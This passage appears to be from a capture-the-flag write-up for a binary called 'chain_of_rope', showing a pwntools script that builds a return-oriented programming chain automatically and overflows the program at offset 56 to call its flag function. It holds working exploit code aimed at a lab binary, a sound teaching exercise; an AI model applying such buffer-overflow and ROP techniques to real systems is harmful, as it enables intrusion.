Some people recognized that you can jump to the ```system('/bin/cat flag.txt')``` directly. However for educational purposes it makes sense to build a rop-chain and find gadgets by hand.

That said, in almost every rop-writeup using pwntools I see, I rarely see the full featureset of pwntools being used. If you already know what you're doing, you don't have to juggle p64() pointers around. You can use it's functions/gadgets automatic resolver to let it build the needed rop-chain for you:

```
#!/usr/bin/python2

from pwn import *

elf = context.binary = ELF('chain_of_rope')
rop = ROP(elf)

rop.authorize()
rop.addBalance(0xdeadbeef)
rop.flag(0xba5eba11, 0xbedabb1e)

io = elf.process()
io.sendline("1")
io.sendline(fit({ 56:rop.chain() }))
io.interactive()
```